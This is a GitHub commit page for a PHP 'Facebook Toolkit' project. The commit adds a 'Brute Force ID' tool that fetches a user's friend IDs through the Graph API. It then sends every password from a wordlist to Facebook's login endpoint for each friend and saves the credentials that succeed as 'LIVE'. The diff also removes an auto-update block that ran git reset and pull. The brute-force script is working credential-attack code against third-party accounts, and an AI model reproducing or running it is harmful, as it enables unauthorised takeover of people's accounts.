Skip to content

Commit

Permalink
add features
Browse files Browse the repository at this point in the history
add features and update tools
  • Loading branch information
warifp committed Jun 16, 2019
1 parent 257b97e commit 086e18c
Show file tree
Hide file tree
Showing 50 changed files with 4,718 additions and 51 deletions.
3 changes: 2 additions & 1 deletion composer.json
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
{
"require": {
"league/climate": "^3.5"
"league/climate": "^3.5",
"paquettg/php-html-parser": "^2.0"
}
}
98 changes: 97 additions & 1 deletion composer.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

44 changes: 0 additions & 44 deletions modules/config.php
Original file line number Diff line number Diff line change
Expand Up @@ -10,50 +10,6 @@
* Please respect me for making this tool from the beginning.
*/

/** Cek Additional */
$climate->br()->info('Oops, additional programs are needed to run this tool.');
sleep(5);
$climate->br()->info('Start a check for needs..');
progress($progress);

if(!fsockopen("$cek_connection", 80)) {
die ("" . $climate->br()->backgroundRed()->out("Could not open the server, connection issues?"));
}

if(phpversion() < "7.0.0"){
die ("" . $climate->br()->backgroundRed()->out("Your PHP Version is " . phpversion() . ", this PHP Version no support, please update to PHP Version 7."));
}

if(!function_exists('curl_init')) {
die ("" . $climate->br()->backgroundRed()->out("cURL not found! please install cURL"));
}

$climate->br()->backgroundGreen()->out('Congratulations, the requirements for the program have been fulfilled.');
sleep(5);
/** End Cek Additional */

print $banner;
sleep(3);
$climate->table($data_socialmedia);
sleep(3);

/** Cek Status */
if($status == "hidup"){

} else if($status == "autoupdate"){
$climate->br()->backgroundRed()->out('This tool is being updated automatically..');
system('git fetch --all');
system('git reset --hard origin/master');
system('git pull origin master');
exit;
} else if($status == "update"){
$climate->br()->backgroundRed()->out('Sorry, this tool has expired, the latest version is available : ' . $update . ', please update again.');
$climate->br()->info("usage : 'php run.php -update' or 'php run.php -u'");
exit;
} else {
exit;
}
/** End Cek Status */

/** Token Validation Function */

Expand Down
12 changes: 12 additions & 0 deletions modules/menu.php
Original file line number Diff line number Diff line change
Expand Up @@ -173,6 +173,18 @@
'information' => "retrieve all url profile member on group database",
'Status' => 'Active',
],
[
'no' => '28',
'name' => 'Brute Force ID',
'information' => "brute force your friends by ID",
'Status' => 'Active',
],
[
'no' => '29',
'name' => 'Brute Force ID Member Group',
'information' => "brute force Member Group by ID",
'Status' => 'Active',
],
];

/**
Expand Down
14 changes: 10 additions & 4 deletions run.php
Original file line number Diff line number Diff line change
Expand Up @@ -50,21 +50,21 @@
/** End Arguments Usage */

/** Select */
$input_pilih = $climate->br()->shout()->input('> Enter your choice (1-30) : ');
$input_pilih = $climate->br()->shout()->input('> Enter your choice (1-29) : ');

$pilih = $input_pilih->prompt();
/** End Select */

if($pilih>30 OR $pilih<1){
if($pilih>29 OR $pilih<1){
$climate->br()->error('Options not available, please choose existing ones!');

/** Enter Select return */
$input_pilih = $climate->br()->shout()->input('> Enter your choice (1-30) : ');
$input_pilih = $climate->br()->shout()->input('> Enter your choice (1-29) : ');

$pilih = $input_pilih->prompt();
/** End Select return */

if($pilih>30 OR $pilih<1) $type = "wahyuarifpurnomo";
if($pilih>29 OR $pilih<1) $type = "wahyuarifpurnomo";
}
if($pilih==1){
$type = "tools/getAccessToken/getAccessToken";
Expand Down Expand Up @@ -147,6 +147,12 @@
}elseif($pilih==27){
$type = "tools/getLinkMemberGroup/getLinkMemberGroup";
$namatools = "\e[1;32mview all data link member group\e[0m";
}elseif($pilih==28){
$type = "tools/getBruteID/getBruteID";
$namatools = "\e[1;32mbrute force your friends by ID\e[0m";
}elseif($pilih==29){
$type = "tools/getBruteIDMemberGroup/getBruteIDMemberGroup";
$namatools = "\e[1;32mbrute force Member Group by ID\e[0m";
}
if($type=="wahyuarifpurnomo"){
$climate->br()->error("You don't choose anywhere tools.");
Expand Down
129 changes: 129 additions & 0 deletions tools/getBruteID/getBruteID.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,129 @@
<?php
/**
* Author : Wahyu Arif Purnomo
* Name : Facebook Toolkit++
* Version : 1.6
* Update : 15 June 2019
*
* If you are a reliable programmer or the best developer, please don't change anything.
* If you want to be appreciated by others, then don't change anything in this script.
* Please respect me for making this tool from the beginning.
*/
require_once "vendor/autoload.php";
use PHPHtmlParser\Dom;

$input = $climate->br()->input('Wordlist?');
$list_password = $input->prompt();

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,email&access_token=" . $token . "&limit=5000");
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$wahyuarifpurnomo = curl_exec($curl);
curl_close($curl);

$decode = json_decode($wahyuarifpurnomo);

$climate->br()->info('Required retrieve ID');
sleep(3);
$climate->br()->info('Starting retrieve ID..');
echo "\n";
progress($progress);

$no = 0;
foreach ($decode->data as $hasil) {
$no++;
$colorstring = getName($n);
if (!empty($hasil->id)) {
echo $no.".". $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
$save = fopen('tmp/id.log', 'a');
fwrite($save, $hasil->id ."\n");
fclose($save);
}
}

$list_id = "tmp/id.log" or die ("File ID not found!");
$climate->br()->info('Retrieve ID success');
sleep(3);
$climate->br()->info('Starting brute force your friends by ID..');
echo "\n";
progress($progress);

#########################################################

$no = 0;
function brute($username, $password, $no, $url_brute) {

$dom = new Dom;

$save_dir_live = "result/bruteforce-live.txt";
$save_dir_die = "result/bruteforce-die.txt";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url_brute ."/login.php?login_attempt=1");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$username}&pass={$password}");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
$login = curl_exec($ch);

$dom->loadStr($login, []);
$contents = $dom->find('title');

if($contents == "<title>Masuk Facebook | Facebook</title>"){
echo $no . ". \e[0;31mDIE\e[0m | $username | $password\n";
$save = fopen($save_dir_die, 'a');
fwrite($save, $username . "|" . $password . "\n");
fclose($save);
}else if($contents == "<title>Coba lagi nanti</title>"){
echo $no . ". \e[0;31mDIE\e[0m | $username | $password\n";
$save = fopen($save_dir_die, 'a');
fwrite($save, $username . "|" . $password . "\n");
fclose($save);
}else{
echo $no . ". \e[0;33mLIVE\e[0m | $username | $password\n";
$save = fopen($save_dir_live, 'a');
fwrite($save, $username . "|" . $password . "\n");
fclose($save);
}
}

$file = file_get_contents("$list_id");
$username = explode("\n", str_replace("\r", "", $file));

$file = file_get_contents("$list_password");
$password = explode("\n", str_replace("\r", "", $file));

foreach($username as $users) {
$users = @trim($users);
foreach($password as $pass) {
$no++;
$pass = @trim($pass);
echo brute($users,$pass, $no, $url_brute);
}
}
#############################################

$save_dir_live = "result/bruteforce-live.txt";
$save_dir_die = "result/bruteforce-die.txt";

$climate->br()->shout('Done, your result saved in folder "' . $save_dir_live . '" and "' . $save_dir_die .'".');
$climate->br()->info('Cleaning log..');
echo "\n";
progress($progress);
$delete = "tmp/id.log";
unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
sleep(3);
$climate->br()->info('Done cleaning log.');

/**
* Author : Wahyu Arif Purnomo
* Name : Facebook Toolkit++
* Version : 1.6
* Update : 15 June 2019
*
* If you are a reliable programmer or the best developer, please don't change anything.
* If you want to be appreciated by others, then don't change anything in this script.
* Please respect me for making this tool from the beginning.
*/
Loading

0 comments on commit 086e18c

Please sign in to comment.